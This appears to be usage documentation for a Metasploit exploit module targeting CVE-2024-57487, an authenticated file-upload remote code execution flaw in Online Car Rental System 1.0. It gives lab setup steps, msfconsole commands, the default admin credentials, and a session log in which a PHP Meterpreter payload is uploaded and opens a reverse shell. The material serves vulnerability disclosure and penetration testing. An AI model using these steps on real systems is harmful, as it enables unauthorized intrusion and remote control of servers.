## Vulnerable Application

The **Online Car Rental System 1.0** is vulnerable to **Authenticated Remote Code Execution (RCE)** due to an insecure file upload mechanism. Specifically, the `changeimage1.php` endpoint in the admin panel does not validate uploaded file types, allowing authenticated users to upload arbitrary PHP scripts. These scripts can be accessed and executed via a predictable file path, leading to full remote code execution.

You can download the vulnerable software from the following link:
🔗 [Online Car Rental System 1.0 - Source Code](https://code-projects.org/online-car-rental-using-php-source-code/)

This module exploits the vulnerability by authenticating to the admin panel, uploading a malicious PHP payload
using the vulnerable endpoint, and executing it to gain remote access.

- **CVE**: [CVE-2024-57487](https://nvd.nist.gov/vuln/detail/CVE-2024-57487)
- **Author**: Aaryan Golatkar
- **Disclosure Date**: 13/01/2025

---

## Verification Steps

### Vulnerable Application Installation Setup

#### For Windows:
1. Start Apache and MySQL via the **XAMPP Control Panel**.
2. Extract the Online Car Rental System 1.0 source code.
3. Place the extracted folder inside `htdocs` (e.g., `C:\xampp\htdocs\carrental`).
4. Navigate to `http://localhost/phpmyadmin` in your browser.
5. Create a database (e.g., `carrental_db`), and import the SQL dump (`carrental.sql`) provided in the `database` directory.
6. Visit `http://localhost/carrental/` to verify installation.

#### For Linux:
1. Start services: `sudo systemctl start apache2 && sudo systemctl start mysql`
2. Install PHPMyAdmin: `sudo apt install phpmyadmin -y`
3. Edit `/etc/apache2/apache2.conf` and append:
   ```
   Include /etc/phpmyadmin/apache.conf
   ```
4. Extract the project into `/var/www/html/`
5. Follow the same steps as Windows from here onward.

---

## Exploit Module Usage

### Start msfconsole and load the exploit:

```bash
msfconsole
use exploit/multi/http/carrental_fileupload_rce
```

### Set the required options:

```bash
set rhosts <target_ip>
set rport <port>
set targeturi /carrental
set username <admin_username>      # Default: admin
set password <admin_password>      # Default: Test@12345
set lhost <your_ip>
set lport <your_port>
```

---

## Checking Target Vulnerability

```bash
check
```

If vulnerable, you will see:

```
[+] <IP> The target appears to be the Online Car Rental System.
```

---

## Launching the Exploit

```bash
exploit
```

If successful, you will receive a Meterpreter shell.

---

## Scenarios

```bash
msf exploit(multi/http/carrental_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 192.168.1.103:80 - The target appears to be the Online Car Rental System.

msf exploit(multi/http/carrental_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] Uploading PHP Meterpreter payload as WxAqV7.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /carrental/admin/img/vehicleimages/WxAqV7.php...
[*] Sending stage (40004 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615)

meterpreter > sysinfo
Computer    : DESKTOP-1234
OS          : Windows NT 10.0 build 19045 (Windows 10)
Meterpreter : php/windows
```

---

## Options

| Option       | Required | Description                                           |
|--------------|----------|-------------------------------------------------------|
| `TARGETURI`  | Yes      | The base path to the Car Rental System (e.g., `/carrental`) |
| `USERNAME`   | Yes      | Admin username (default: `admin`)                    |
| `PASSWORD`   | Yes      | Admin password (default: `Test@12345`)               |
| `RHOSTS`     | Yes      | The target IP address                                |
| `RPORT`      | Yes      | The target web server port (default: 80)             |
| `LHOST`      | Yes      | The local host to receive the reverse shell          |
| `LPORT`      | Yes      | The local port to receive the reverse shell          |

---
